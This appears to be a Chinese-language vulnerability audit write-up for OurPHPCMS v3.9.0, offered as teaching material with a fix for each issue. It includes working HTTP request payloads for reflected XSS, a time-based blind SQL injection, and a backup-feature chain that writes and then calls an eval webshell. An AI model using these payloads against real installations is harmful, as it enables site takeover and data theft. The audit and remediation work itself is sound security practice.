OurPHPCMS审计浅析
字数 2246 2025-08-24 16:48:07
OurPHPCMS 安全审计与漏洞分析教学文档
一、环境搭建
-
下载地址:
- Gitee: ourphp企业+商城+小程序万能多国语言建站系统
- 官网也可下载
-
版本信息:
- 审计版本:v3.9.0(20211202)
-
安装方法:
- 解压zip文件后进行常规安装
二、系统架构特点
- 未严格采用MVC架构
- 多处采用自定义的严格敏感词防护机制
- 前后台分离设计
三、前台漏洞分析
1. WAP端XSS漏洞
漏洞文件:
/client/wap/ourphp_password.class.php/client/wap/ourphp_system.class.php/client/wap/ourphp_template.class.php
漏洞分析:
$temptype参数未严格过滤- 通过
$ourphp_weburl = explode('-',$_SERVER["QUERY_STRING"]);赋值 - 最终在
ourphp_password.class.php中直接输出$_GET['jsoncallback']
利用Payload:
GET /client/wap/?user=telcode&jsoncallback=<script>alert(1);</script>-userpassword.html HTTP/1.1
Host: 127.0.0.1
修复建议:
在/client/wap/ourphp_password.class.php中的echo $_GET['jsoncallback'].json_encode($msg).")";加上htmlspecialchars()过滤。
2. User端XSS漏洞(两处)
第一处漏洞文件:
/client/user/ourphp_password.class.php
利用Payload:
GET /client/user/index.php?user=telcode&jsoncallback=<script>alert(1);</script>-password.html HTTP/1.1
Host: 127.0.0.1
第二处漏洞文件:
/client/user/ourphp_userreg.class.php
利用Payload:
GET /client/user/index.php?reg=1&code=2&jsoncallback=<script>alert(1);</script>-reg.html HTTP/1.1
Host: 127.0.0.1
修复建议:
在两处echo $_GET['jsoncallback'].json_encode($msg).")";都加上htmlspecialchars()过滤。
四、后台漏洞分析
1. SQL注入漏洞
漏洞文件:
/client/manage/ourphp_product.php/client/manage/ourphp_productedit.php
漏洞分析:
$optitleid参数未严格过滤- 通过
$optitleid = implode(',',$_POST["optitleid"]);处理 - 最终拼接进SQL语句:
$sql = $db->create("update ourphp_productspecifications set OP_Value = if(OP_Value like '%".$cc[$i]."%',OP_Value,CONCAT(OP_Value,'|".$cc[$i]."')) where id = ".$id,2);
利用方法:
- 构造特殊
optitleid参数:optitleid[]='&optitleid[]=`OP_Specificationstitle`=(if(ascii(substr((select database()),1,1))>1,sleep(5),0))#&op[]=1&op[]=2&op[]=3 - 通过时间盲注获取数据
修复建议:
将$optitle改为admin_sql($optitle)进行过滤。
2. 后台写文件getshell漏洞
漏洞文件:
/client/manage/ourphp_bakgo.php
漏洞分析:
-
写文件部分:
writefile函数可控制文件名和内容- 通过
dealdata函数处理数据 - 最终写入格式受限,但有绕过方法
-
文件包含部分:
- 备份系统生成的
index.php中包含define("VERSION","1.1"); - 同时包含可控文件:
include("index_pg$_POST[loadpage].php");
- 备份系统生成的
利用步骤:
-
写入webshell:
POST /client/manage/ourphp_bakgo.php?&framename=main HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 499 faisunsql_postvars=WQIFCx1LDFAAWEFWRgMPU0MOQV9VWVQLQRQNCAwPBwgDSwkGXBpSA2sKDENAQFlFDVgLFVxfUAJZXlkSQhQMSwIJAgtEXFQ%2BQREGQloDD1MVWkINBAoREVpZQkMNRQ0JCQIRVQRnRgBHERRfRgZADURbBQ0SQlwMQRQNEgwPDRpcWmxVBFZXDFFAWEMOVFgUWBRDR1hAEVhGDAdSDBRaQUtJX24QXUQSXQ0NEg8RWAANQwQZBx4BVRcNSw%3D%3Deedd6c4b1d&fsqltable%5Bourphp_ad`","(Id_P int)");eval($_POST{cmd});%23%5D=2272%2C224&tabledumping=0&action=databackup&back_type=partsave&dosubmit=%E4%B8%8B%E4%B8%80%E6%AD%A5&dir=../../function/backup/202301151194&page=1 -
调用webshell:
POST /function/backup/2023011522/index.php?&framename=main HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 159 db_pass=1&nextpgtimeout=2&db_safttemptable=1&action=%E5%AF%BC%E5%85%A5&loadpage=/../../202301151194/_pg1&cmd=print_r(scandir(db_temptable=ourphp_ad
修复建议:
- 在
include前去除$_POST['loadpage']中的../ - 在
sqldumptable函数中过滤$table变量中的双引号:$table = str_replace('"', '', $table);
3. 后台模板getshell漏洞
漏洞分析:
- 模板编辑功能未严格过滤
- 可直接写入PHP代码
利用方法:
- 访问后台模板编辑功能
- 直接写入PHP代码并保存
五、漏洞总结
| 漏洞类型 | 位置 | 危害等级 | 修复建议 |
|---|---|---|---|
| XSS | WAP端 | 中 | htmlspecialchars过滤输出 |
| XSS | User端(两处) | 中 | htmlspecialchars过滤输出 |
| SQL注入 | 后台商品管理 | 高 | 严格过滤输入参数 |
| 文件写入+包含getshell | 后台数据库备份 | 严重 | 过滤路径跳转和特殊字符 |
| 模板getshell | 后台模板管理 | 高 | 限制模板文件编辑权限 |
六、防护建议
- 对所有用户输入进行严格过滤
- 使用预编译语句防止SQL注入
- 对文件操作进行严格的路径检查
- 对输出到页面的内容进行HTML实体编码
- 限制后台功能的访问权限
- 实现严格的CSRF防护机制
- 对文件包含操作进行白名单限制
七、审计工具推荐
- Seay源代码审计系统
- PHP静态代码分析工具
- 动态调试工具(Xdebug)
- Burp Suite等抓包工具
八、学习要点
- 理解CMS的架构设计缺陷
- 掌握输入输出过滤的重要性
- 学习复杂漏洞的串联利用
- 掌握时间盲注等高级注入技术
- 理解文件包含漏洞的利用条件
- 学习如何绕过安全防护机制